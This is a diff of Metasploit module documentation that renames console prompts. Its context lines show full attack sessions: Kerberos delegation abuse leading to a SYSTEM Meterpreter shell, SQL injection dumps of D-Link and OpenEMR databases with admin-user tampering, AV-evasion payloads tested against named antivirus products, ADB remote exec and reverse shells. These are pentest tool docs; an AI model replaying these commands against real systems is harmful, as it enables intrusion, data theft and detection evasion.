delegate_to=VICTIM action=READ +[*] Running module against 192.168.232.110 +[+] Successfully bound to the LDAP server via existing SESSION! +[*] Discovering base DN automatically +[*] The msDS-AllowedToActOnBehalfOfOtherIdentity field is empty. +[*] Auxiliary module execution completed + +msf auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=WRITE delegate_from=FAKE01$ +[*] Running module against 192.168.232.110 +[+] Successfully bound to the LDAP server via existing SESSION! +[*] Discovering base DN automatically +[+] Successfully created the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. +[*] Added account: +[*] S-1-5-21-3065298949-3337206023-618530601-1618 (FAKE01$) +[*] Auxiliary module execution completed + +msf auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=READ +[*] Running module against 192.168.232.110 +[+] Successfully bound to the LDAP server via existing SESSION! +[*] Discovering base DN automatically +[*] Allowed accounts: +[*] S-1-5-21-3065298949-3337206023-618530601-1618 (FAKE01$) +[*] Auxiliary module execution completed +``` + +- Getting the Kerberos tickets using the `admin/kerberos/get_ticket` module + +``` +msf auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhost=192.168.232.110 username=FAKE01 password=123456 domain=newlab.local spn=cifs/VICTIM.newlab.local impersonate=Administrator +[*] Running module against 192.168.232.110 +[+] 192.168.232.110:88 - Received a valid TGT-Response +[*] 192.168.232.110:88 - TGT MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_759601.bin +[*] 192.168.232.110:88 - Getting TGS impersonating Administrator@newlab.local (SPN: cifs/VICTIM.newlab.local) +[+] 192.168.232.110:88 - Received a valid TGS-Response +[*] 192.168.232.110:88 - TGS MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_975187.bin +[+] 192.168.232.110:88 - Received a valid TGS-Response +[*] 192.168.232.110:88 - TGS MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_335229.bin +[*] Auxiliary module execution completed +``` + +- Code execution using the `windows/smb/psexec` module + +``` +msf exploit(windows/smb/psexec) > klist +Kerberos Cache +============== +id host principal sname enctype issued status path +-- ---- --------- ----- ------- ------ ------ ---- +105 192.168.232.110 FAKE01@NEWLAB.LOCAL krbtgt/NEWLAB.LOCAL@NEWLAB.LOCAL AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_759601.bin +106 192.168.232.110 Administrator@NEWLAB.LOCAL FAKE01@NEWLAB.LOCAL AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_975187.bin +107 192.168.232.110 Administrator@NEWLAB.LOCAL cifs/VICTIM.newlab.local@NEWLAB.LOCAL AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_335229.bin + +msf exploit(windows/smb/psexec) > run lhost=192.168.232.3 rhost=192.168.232.111 username=Administrator smb::auth=kerberos smb::rhostname=VICTIM.newlab.local domaincontrollerrhost=192.168.232.110 domain=newlab.local +[*] Started reverse TCP handler on 192.168.232.3:4444 +[*] 192.168.232.111:445 - Connecting to the server... +[*] 192.168.232.111:445 - Authenticating to 192.168.232.111:445|newlab.local as user 'Administrator'... +[*] 192.168.232.111:445 - Using cached credential for cifs/VICTIM.newlab.local@NEWLAB.LOCAL Administrator@NEWLAB.LOCAL +[*] 192.168.232.111:445 - Selecting PowerShell target +[*] 192.168.232.111:445 - Executing the payload... +[+] 192.168.232.111:445 - Service start timed out, OK if running a command or non-service executable... +[*] Sending stage (177734 bytes) to 192.168.232.111 +[*] Meterpreter session 1 opened (192.168.232.3:4444 -> 192.168.232.111:42528) at 2025-01-23 19:35:07 +0100 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : VICTIM +OS : Windows Server 2019 (10.0 Build 17763). +Architecture : x64 +System Language : en_US +Domain : NEWLAB +Logged On Users : 9 +Meterpreter : x86/windows +``` + diff --git a/documentation/modules/auxiliary/server/socks_proxy.md b/documentation/modules/auxiliary/server/socks_proxy.md index fe8cd0847718f..bac92092025b1 100644 --- a/documentation/modules/auxiliary/server/socks_proxy.md +++ b/documentation/modules/auxiliary/server/socks_proxy.md @@ -28,7 +28,7 @@ This module is great when pivoting across a network. Suppose we have two machine We'll begin by starting the SOCKS proxy: ``` -msf6 auxiliary(server/socks_proxy) > show options +msf auxiliary(server/socks_proxy) > show options Module options (auxiliary/server/socks_proxy): @@ -48,10 +48,10 @@ Auxiliary action: Proxy Run a SOCKS proxy server -msf6 auxiliary(server/socks_proxy) > run +msf auxiliary(server/socks_proxy) > run [*] Auxiliary module execution completed [*] Starting the SOCKS proxy server -msf6 auxiliary(socks_proxy) > +msf auxiliary(socks_proxy) > ``` Preparing to pivot across a network requires us to first establish a Meterpreter session on the victim machine. From diff --git a/documentation/modules/auxiliary/spoof/dns/native_spoofer.md b/documentation/modules/auxiliary/spoof/dns/native_spoofer.md index 1dfe99b29645f..cd27fc4eb0770 100644 --- a/documentation/modules/auxiliary/spoof/dns/native_spoofer.md +++ b/documentation/modules/auxiliary/spoof/dns/native_spoofer.md @@ -49,7 +49,7 @@ DNS domain search list (hosts file or space/semicolon separate entries). Example ### DNS Spoofing ``` -msf6 auxiliary(spoof/dns/native_spoofer) > show options +msf auxiliary(spoof/dns/native_spoofer) > show options Module options (auxiliary/spoof/dns/native_spoofer): @@ -79,10 +79,10 @@ Auxiliary action: Service Serve DNS entries -msf6 auxiliary(spoof/dns/native_spoofer) > run +msf auxiliary(spoof/dns/native_spoofer) > run [*] Auxiliary module running as background job 2. -msf6 auxiliary(spoof/dns/native_spoofer) > SIOCSIFFLAGS: Operation not permitted -msf6 auxiliary(spoof/dns/native_spoofer) > +msf auxiliary(spoof/dns/native_spoofer) > SIOCSIFFLAGS: Operation not permitted +msf auxiliary(spoof/dns/native_spoofer) > [*] Caching response google.com:172.217.15.110 A [+] Sent packet with header: --EthHeader----------------------------------- diff --git a/documentation/modules/auxiliary/sqli/dlink/dlink_central_wifimanager_sqli.md b/documentation/modules/auxiliary/sqli/dlink/dlink_central_wifimanager_sqli.md index c8056be03f410..cd688af0ebd3d 100644 --- a/documentation/modules/auxiliary/sqli/dlink/dlink_central_wifimanager_sqli.md +++ b/documentation/modules/auxiliary/sqli/dlink/dlink_central_wifimanager_sqli.md @@ -35,7 +35,7 @@ Has been tested with 1.03r098. ## Actions ``` -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > show actions +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > show actions Auxiliary actions: @@ -50,7 +50,7 @@ Auxiliary actions: ## Options ``` -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > show options +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > show options Module options (auxiliary/sqli/dlink/dlink_central_wifimanager_sqli): @@ -74,15 +74,15 @@ This module has both `check` and `run` functions. ### Retrieving all the data from the database ``` -msf5 > use auxiliary/sqli/dlink/dlink_central_wifimanager_sqli -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set action SQLI_DUMP +msf > use auxiliary/sqli/dlink/dlink_central_wifimanager_sqli +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set action SQLI_DUMP action => SQLI_DUMP -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set rhosts 192.168.1.223 +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set rhosts 192.168.1.223 rhosts => 192.168.1.223 -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > check +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > check [+] 192.168.1.223:443 - The target is vulnerable. -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run [*] Running module against 192.168.1.223 [+] Target seems vulnerable @@ -103,8 +103,8 @@ msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run [+] devicesnmpsecuritytable saved to /home/redouane/.msf4/loot/20200828180154_default_192.168.1.223_dlink.http_825556.csv [*] Auxiliary module execution completed -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > creds +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > creds Credentials =========== @@ -113,8 +113,8 @@ host origin service public private realm 192.168.1.223 admin 21232f297a57a5a743894a0e4a801fc3 Nonreplayable hash raw-md5 192.168.1.223 red0xff f0e166dc34d14d6c228ffac576c9a43c Nonreplayable hash raw-md5 -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > loot +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > loot Loot ==== @@ -129,44 +129,44 @@ host service type name content ult_192.168.1.223_dlink.http_878195.csv 192.168.1.223 dlink.http devicesnmpsecuritytable.csv application/csv /home/redouane/.msf4/loot/20200828180506_default_192.168.1.223_dlink.http_086271.csv -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > ``` ### Adding an admin user/changing the password of a user ``` -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set action ADD_ADMIN +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set action ADD_ADMIN action => ADD_ADMIN -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Username msfadmin +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Username msfadmin Admin_Username => msfadmin -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Password msfadmin +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Password msfadmin Admin_Password => msfadmin -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run [*] Running module against 192.168.1.223 [+] Target seems vulnerable [*] User not found on the target, inserting [*] Auxiliary module execution completed -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Password msfpassword +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Password msfpassword Admin_Password => msfpassword -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run [*] Running module against 192.168.1.223 [*] Trying to detect installed version [+] Target seems vulnerable [*] User already exists, updating the password [*] Auxiliary module execution completed -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > ``` ### Deleting an administrator user ``` -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set action REMOVE_ADMIN +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set action REMOVE_ADMIN action => REMOVE_USER -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Username red0xff +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Username red0xff Admin_Username => red0xff -msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run +msf auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run [*] Running module against 192.168.1.223 [+] Target seems vulnerable diff --git a/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md b/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md index aad2adffc693e..29cd5cfa1d0b1 100644 --- a/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md +++ b/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md @@ -13,7 +13,7 @@ OpenEMR 5.0.1 (3). ## Options ``` -msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > show options +msf auxiliary(sqli/openemr/openemr_sqli_dump) > show options Module options (auxiliary/sqli/openemr/openemr_sqli_dump): @@ -32,14 +32,14 @@ Module options (auxiliary/sqli/openemr/openemr_sqli_dump): This module has both `check` and `run` functions. ``` -msf5 > use auxiliary/sqli/openemr/openemr_sqli_dump -msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > set rhosts 127.0.0.1 +msf > use auxiliary/sqli/openemr/openemr_sqli_dump +msf auxiliary(sqli/openemr/openemr_sqli_dump) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > check +msf auxiliary(sqli/openemr/openemr_sqli_dump) > check [*] Trying to detect installed version [*] 127.0.0.1:80 - The target appears to be vulnerable. -msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run +msf auxiliary(sqli/openemr/openemr_sqli_dump) > run [*] Running module against 127.0.0.1 [*] DB Version: 10.3.15-MariaDB-1 @@ -61,7 +61,7 @@ msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run [*] Dumping table (310/310): geo_country_reference [*] Dumped all tables to /root/.msf4/loot [*] Auxiliary module execution completed -msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > exit +msf auxiliary(sqli/openemr/openemr_sqli_dump) > exit root@localhost:/# cd /root/.msf4/loot root@localhost:~/.msf4/loot# ls -l diff --git a/documentation/modules/evasion/windows/process_herpaderping.md b/documentation/modules/evasion/windows/process_herpaderping.md index 2ecd52d2946b7..ffdf7a2c9b94d 100644 --- a/documentation/modules/evasion/windows/process_herpaderping.md +++ b/documentation/modules/evasion/windows/process_herpaderping.md @@ -72,28 +72,28 @@ environment variables can be used in the path and the default is set to ## Scenarios ### Windows 10 x64 version 1909 with Avast Antivirus (also tested with Windows Defender) ``` -msf6 > use evasion/windows/process_herpaderping +msf > use evasion/windows/process_herpaderping [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 evasion(windows/process_herpaderping) > set LHOST 192.168.144.1 +msf evasion(windows/process_herpaderping) > set LHOST 192.168.144.1 LHOST => 192.168.144.1 -msf6 evasion(windows/process_herpaderping) > set target 0 +msf evasion(windows/process_herpaderping) > set target 0 target => 0 -msf6 evasion(windows/process_herpaderping) > set payload windows/x64/meterpreter/reverse_tcp +msf evasion(windows/process_herpaderping) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf6 evasion(windows/process_herpaderping) > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.144.1 -P 4444 +msf evasion(windows/process_herpaderping) > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.144.1 -P 4444 [*] Payload handler running as background job 0. [*] Started reverse TCP handler on 192.168.144.1:4444 -msf6 evasion(windows/process_herpaderping) > run +msf evasion(windows/process_herpaderping) > run [+] raU.exe stored at /home/msfuser/.msf4/local/raU.exe -msf6 evasion(windows/process_herpaderping) > cp /home/msfuser/.msf4/local/raU.exe /remote_share/tmp/test_x64.exe +msf evasion(windows/process_herpaderping) > cp /home/msfuser/.msf4/local/raU.exe /remote_share/tmp/test_x64.exe [*] exec: cp /home/msfuser/.msf4/local/raU.exe /remote_share/tmp/test_x64.exe -msf6 evasion(windows/process_herpaderping) > +msf evasion(windows/process_herpaderping) > [*] Sending stage (200262 bytes) to 192.168.144.128 [*] Meterpreter session 1 opened (192.168.144.1:4444 -> 192.168.144.128:50205) at 2021-01-22 13:02:14 +0100 -msf6 evasion(windows/process_herpaderping) > sessions -i 1 +msf evasion(windows/process_herpaderping) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo @@ -113,11 +113,11 @@ meterpreter > [*] Shutting down Meterpreter... ### Windows 7 x86 with Avast Antivirus ``` -msf6 evasion(windows/process_herpaderping) > set target 1 +msf evasion(windows/process_herpaderping) > set target 1 target => 1 -msf6 evasion(windows/process_herpaderping) > set payload windows/meterpreter/reverse_tcp +msf evasion(windows/process_herpaderping) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp -msf6 evasion(windows/process_herpaderping) > options +msf evasion(windows/process_herpaderping) > options Module options (evasion/windows/process_herpaderping): @@ -145,7 +145,7 @@ Evasion target: 1 Microsoft Windows (x86) -msf6 evasion(windows/process_herpaderping) > run +msf evasion(windows/process_herpaderping) > run [+] raU.exe stored at /home/msfuser/.msf4/local/raU.exe [!] #### WARNING #### @@ -154,19 +154,19 @@ This payload won't work on 32-bit Windows 10 versions from 1511 (build These versions have a bug in the kernel that crashes/BugCheck the OS when executing this payload. So, to avoid this, the payload won't run if it detects the OS is one of these versions. -msf6 evasion(windows/process_herpaderping) > cp /home/msfuser/.msf4/local/raU.exe /remote_share/tmp/test_x86.exe +msf evasion(windows/process_herpaderping) > cp /home/msfuser/.msf4/local/raU.exe /remote_share/tmp/test_x86.exe [*] exec: cp /home/msfuser/.msf4/local/raU.exe /remote_share/tmp/test_x86.exe -msf6 evasion(windows/process_herpaderping) > jobs -K +msf evasion(windows/process_herpaderping) > jobs -K Stopping all jobs... -msf6 evasion(windows/process_herpaderping) > handler -p windows/meterpreter/reverse_tcp -H 192.168.144.1 -P 4444 +msf evasion(windows/process_herpaderping) > handler -p windows/meterpreter/reverse_tcp -H 192.168.144.1 -P 4444 [*] Payload handler running as background job 1. [*] Started reverse TCP handler on 192.168.144.1:4444 -msf6 evasion(windows/process_herpaderping) > [*] Sending stage (175174 bytes) to 192.168.144.133 +msf evasion(windows/process_herpaderping) > [*] Sending stage (175174 bytes) to 192.168.144.133 [*] Meterpreter session 3 opened (192.168.144.1:4444 -> 192.168.144.133:51542) at 2021-01-22 13:09:43 +0100 -msf6 evasion(windows/process_herpaderping) > sessions -i 3 +msf evasion(windows/process_herpaderping) > sessions -i 3 [*] Starting interaction with 3... meterpreter > sysinfo diff --git a/documentation/modules/evasion/windows/syscall_inject.md b/documentation/modules/evasion/windows/syscall_inject.md index 20de123f8d85f..37a45d516de44 100644 --- a/documentation/modules/evasion/windows/syscall_inject.md +++ b/documentation/modules/evasion/windows/syscall_inject.md @@ -41,26 +41,26 @@ Optimization level passed to the compiler (Mingw) ## Scenarios ### Windows 10 (x64) version 20H2 with Defender ``` -msf6 > use evasion/windows/syscall_inject +msf > use evasion/windows/syscall_inject [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 evasion(windows/syscall_inject) > set SLEEP 10000 +msf evasion(windows/syscall_inject) > set SLEEP 10000 SLEEP => 10000 -msf6 evasion(windows/syscall_inject) > set LHOST 192.168.1.104 +msf evasion(windows/syscall_inject) > set LHOST 192.168.1.104 LHOST => 192.168.1.104 -msf6 evasion(windows/syscall_inject) > run +msf evasion(windows/syscall_inject) > run [+] pYlCSOAeW.exe stored at /Users/user/.msf4/local/pYlCSOAeW.exe -msf6 evasion(windows/syscall_inject) > cp /Users/user/.msf4/local/pYlCSOAeW.exe ~ +msf evasion(windows/syscall_inject) > cp /Users/user/.msf4/local/pYlCSOAeW.exe ~ [*] exec: cp /Users/user/.msf4/local/pYlCSOAeW.exe ~ -msf6 evasion(windows/syscall_inject) > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.104 -P 4444 +msf evasion(windows/syscall_inject) > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.104 -P 4444 [*] Payload handler running as background job 1. [*] Started reverse TCP handler on 192.168.1.104:4444 -msf6 evasion(windows/syscall_inject) > [*] Sending stage (200262 bytes) to 192.168.1.103 +msf evasion(windows/syscall_inject) > [*] Sending stage (200262 bytes) to 192.168.1.103 [*] Meterpreter session 3 opened (192.168.1.104:4444 -> 192.168.1.103:53007) at 2021-08-01 17:08:43 +0300 -msf6 evasion(windows/syscall_inject) > sessions -i 3 +msf evasion(windows/syscall_inject) > sessions -i 3 [*] Starting interaction with 3... meterpreter > sysinfo @@ -78,29 +78,29 @@ meterpreter > exit ``` ### Windows server 2012 (x64) with Kaspersky 10.2.6.3733 ``` -msf6 > use evasion/windows/syscall_inject +msf > use evasion/windows/syscall_inject [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 evasion(windows/syscall_inject) > set payload windows/x64/meterpreter_bind_tcp +msf evasion(windows/syscall_inject) > set payload windows/x64/meterpreter_bind_tcp payload => windows/x64/meterpreter_bind_tcp -msf6 evasion(windows/syscall_inject) > set RHOST 192.168.225.76 +msf evasion(windows/syscall_inject) > set RHOST 192.168.225.76 RHOST => 192.168.225.76 -msf6 evasion(windows/syscall_inject) > set LPORT 10156 +msf evasion(windows/syscall_inject) > set LPORT 10156 LPORT => 10156 -msf6 evasion(windows/syscall_inject) > set cipher rc4 +msf evasion(windows/syscall_inject) > set cipher rc4 cipher => rc4 -msf6 evasion(windows/syscall_inject) > run +msf evasion(windows/syscall_inject) > run [+] ShP.exe stored at /Users/medicus/.msf4/local/ShP.exe -msf6 evasion(windows/syscall_inject) > cp /Users/medicus/.msf4/local/ShP.exe ~ +msf evasion(windows/syscall_inject) > cp /Users/medicus/.msf4/local/ShP.exe ~ [*] exec: cp /Users/medicus/.msf4/local/ShP.exe ~ -msf6 evasion(windows/syscall_inject) > handler -p windows/x64/meterpreter_bind_tcp -H 192.168.225.76 -P 10156 +msf evasion(windows/syscall_inject) > handler -p windows/x64/meterpreter_bind_tcp -H 192.168.225.76 -P 10156 [*] Payload handler running as background job 0. [*] Started bind TCP handler against 192.168.225.76:10156 -msf6 evasion(windows/syscall_inject) > [*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.225.76:10156) at 2021-08-01 17:32:05 +0300 +msf evasion(windows/syscall_inject) > [*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.225.76:10156) at 2021-08-01 17:32:05 +0300 -msf6 evasion(windows/syscall_inject) > sessions -i 1 +msf evasion(windows/syscall_inject) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo diff --git a/documentation/modules/exploit/aix/local/invscout_rpm_priv_esc.md b/documentation/modules/exploit/aix/local/invscout_rpm_priv_esc.md index d25259d00860b..1fd079cd4d967 100644 --- a/documentation/modules/exploit/aix/local/invscout_rpm_priv_esc.md +++ b/documentation/modules/exploit/aix/local/invscout_rpm_priv_esc.md @@ -29,12 +29,12 @@ Path to invscout executable (default: `/usr/sbin/invscout`) ### IBM AIX 7.2 ``` -msf6 > use exploit/aix/local/invscout_rpm_priv_esc -msf6 exploit(aix/local/invscout_rpm_priv_esc) > set payload cmd/unix/reverse +msf > use exploit/aix/local/invscout_rpm_priv_esc +msf exploit(aix/local/invscout_rpm_priv_esc) > set payload cmd/unix/reverse payload => cmd/unix/reverse -msf6 exploit(aix/local/invscout_rpm_priv_esc) > set session 1 +msf exploit(aix/local/invscout_rpm_priv_esc) > set session 1 session => 1 -msf6 exploit(aix/local/invscout_rpm_priv_esc) > run +msf exploit(aix/local/invscout_rpm_priv_esc) > run [*] Started reverse TCP double handler on 192.168.200.130:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/aix/local/xorg_x11_server.md b/documentation/modules/exploit/aix/local/xorg_x11_server.md index cead3a34a9287..a3cc00fc1e80b 100644 --- a/documentation/modules/exploit/aix/local/xorg_x11_server.md +++ b/documentation/modules/exploit/aix/local/xorg_x11_server.md @@ -46,11 +46,11 @@ A writable directory file system path. (default: `/tmp`) https://vimeo.com/372193921 ``` -msf5 exploit(aix/local/xorg_x11_server) > set session 1 +msf exploit(aix/local/xorg_x11_server) > set session 1 session => 1 -msf5 exploit(aix/local/xorg_x11_server) > set writabledir /tmp +msf exploit(aix/local/xorg_x11_server) > set writabledir /tmp writabledir => /tmp -msf5 exploit(aix/local/xorg_x11_server) > run +msf exploit(aix/local/xorg_x11_server) > run [*] Started reverse TCP handler on 0.0.0.0:8888 [*] Xorg version is 7.2.3.0 diff --git a/documentation/modules/exploit/android/adb/adb_server_exec.md b/documentation/modules/exploit/android/adb/adb_server_exec.md index 0085d2dbde258..da069ff2e8598 100644 --- a/documentation/modules/exploit/android/adb/adb_server_exec.md +++ b/documentation/modules/exploit/android/adb/adb_server_exec.md @@ -43,13 +43,13 @@ For physical devices, refer to: ### Remote Exploitation ``` -msf6 > use exploit/android/adb/adb_server_exec +msf > use exploit/android/adb/adb_server_exec [*] Using configured payload linux/armle/shell_reverse_tcp -msf6 exploit(android/adb/adb_server_exec) > set rhosts 192.168.200.135 +msf exploit(android/adb/adb_server_exec) > set rhosts 192.168.200.135 rhosts => 192.168.200.135 -msf6 exploit(android/adb/adb_server_exec) > set rport 5555 +msf exploit(android/adb/adb_server_exec) > set rport 5555 rport => 5555 -msf6 exploit(android/adb/adb_server_exec) > show targets +msf exploit(android/adb/adb_server_exec) > show targets Exploit targets: @@ -61,11 +61,11 @@ Exploit targets: 3 mipsle -msf6 exploit(android/adb/adb_server_exec) > set target 1 +msf exploit(android/adb/adb_server_exec) > set target 1 target => 1 -msf6 exploit(android/adb/adb_server_exec) > set payload linux/x86/shell/reverse_tcp +msf exploit(android/adb/adb_server_exec) > set payload linux/x86/shell/reverse_tcp payload => linux/x86/shell/reverse_tcp -msf6 exploit(android/adb/adb_server_exec) > run +msf exploit(android/adb/adb_server_exec) > run [*] Started reverse TCP handler on 192.168.200.130:4444 [*] 192.168.200.135:5555 - Connecting to device... @@ -100,13 +100,13 @@ meterpreter > portfwd add -l 1234 -p 5555 -r 127.0.0.1 [*] Local TCP relay created: :1234 <-> 127.0.0.1:5555 meterpreter > Background session 1? [y/N] -msf6 > use exploit/android/adb/adb_server_exec +msf > use exploit/android/adb/adb_server_exec [*] Using configured payload linux/armle/shell_reverse_tcp -msf6 exploit(android/adb/adb_server_exec) > set rhosts 127.0.0.1 +msf exploit(android/adb/adb_server_exec) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(android/adb/adb_server_exec) > set rport 1234 +msf exploit(android/adb/adb_server_exec) > set rport 1234 rport => 1234 -msf6 exploit(android/adb/adb_server_exec) > show targets +msf exploit(android/adb/adb_server_exec) > show targets Exploit targets: @@ -118,11 +118,11 @@ Exploit targets: 3 mipsle -msf6 exploit(android/adb/adb_server_exec) > set target 1 +msf exploit(android/adb/adb_server_exec) > set target 1 target => 1 -msf6 exploit(android/adb/adb_server_exec) > set payload linux/x86/shell/reverse_tcp +msf exploit(android/adb/adb_server_exec) > set payload linux/x86/shell/reverse_tcp payload => linux/x86/shell/reverse_tcp -msf6 exploit(android/adb/adb_server_exec) > set lhost 192.168.200.130 +msf exploit(android/adb/adb_server_exec) > set lhost 192.168.200.130 lhost => 192.168.200.130 ``` @@ -130,7 +130,7 @@ Successful exploitation results in `adb` user privileges with `shell` SELinux co leading to `root` privileges on the device by using `su`: ``` -msf6 exploit(android/adb/adb_server_exec) > run +msf exploit(android/adb/adb_server_exec) > run [*] Started reverse TCP handler on 192.168.200.130:4444 [*] 127.0.0.1:1234 - Connecting to device... @@ -184,13 +184,13 @@ meterpreter > portfwd add -l 1234 -p 5555 -r 10.0.2.2 [*] Local TCP relay created: :1234 <-> 10.0.2.2:5555 meterpreter > Background session 1? [y/N] -msf6 > use exploit/android/adb/adb_server_exec +msf > use exploit/android/adb/adb_server_exec [*] Using configured payload linux/armle/shell_reverse_tcp -msf6 exploit(android/adb/adb_server_exec) > set rhosts 127.0.0.1 +msf exploit(android/adb/adb_server_exec) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(android/adb/adb_server_exec) > set rport 1234 +msf exploit(android/adb/adb_server_exec) > set rport 1234 rport => 1234 -msf6 exploit(android/adb/adb_server_exec) > show targets +msf exploit(android/adb/adb_server_exec) > show targets Exploit targets: @@ -202,11 +202,11 @@ Exploit targets: 3 mipsle -msf6 exploit(android/adb/adb_server_exec) > set target 1 +msf exploit(android/adb/adb_server_exec) > set target 1 target => 1 -msf6 exploit(android/adb/adb_server_exec) > set payload linux/x86/shell/reverse_tcp +msf exploit(android/adb/adb_server_exec) > set payload linux/x86/shell/reverse_tcp payload => linux/x86/shell/reverse_tcp -msf6 exploit(android/adb/adb_server_exec) > set lhost 192.168.200.130 +msf exploit(android/adb/adb_server_exec) > set lhost 192.168.200.130 lhost => 192.168.200.130 ``` @@ -214,7 +214,7 @@ Successful exploitation results in `adb` user privileges with `shell` SELinux co leading to `root` privileges on the device by using `su`: ``` -msf6 exploit(android/adb/adb_server_exec) > run +msf exploit(android/adb/adb_server_exec) > run [*] Started reverse TCP handler on 192.168.200.130:4444 [*] 127.0.0.1:1234 - Connecting to device... diff --git a/documentation/modules/exploit/android/local/binder_uaf.md b/documentation/modules/exploit/android/local/binder_uaf.md index d767f32ebc06f..bd787fd82635d 100644 --- a/documentation/modules/exploit/android/local/binder_uaf.md +++ b/documentation/modules/exploit/android/local/binder_uaf.md @@ -24,13 +24,13 @@ Linux localhost 4.4.177-g83bee1dc48e8 #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 201 - Run the exploit: ``` -msf5 exploit(multi/handler) > use exploit/android/local/binder_uaf -msf5 exploit(android/local/binder_uaf) > set LHOST IPADDR -msf5 exploit(android/local/binder_uaf) > set LPORT 4448 (different from your Android meterpreter port) +msf exploit(multi/handler) > use exploit/android/local/binder_uaf +msf exploit(android/local/binder_uaf) > set LHOST IPADDR +msf exploit(android/local/binder_uaf) > set LPORT 4448 (different from your Android meterpreter port) LPORT => 4448 -msf5 exploit(android/local/binder_uaf) > set SESSION -1 +msf exploit(android/local/binder_uaf) > set 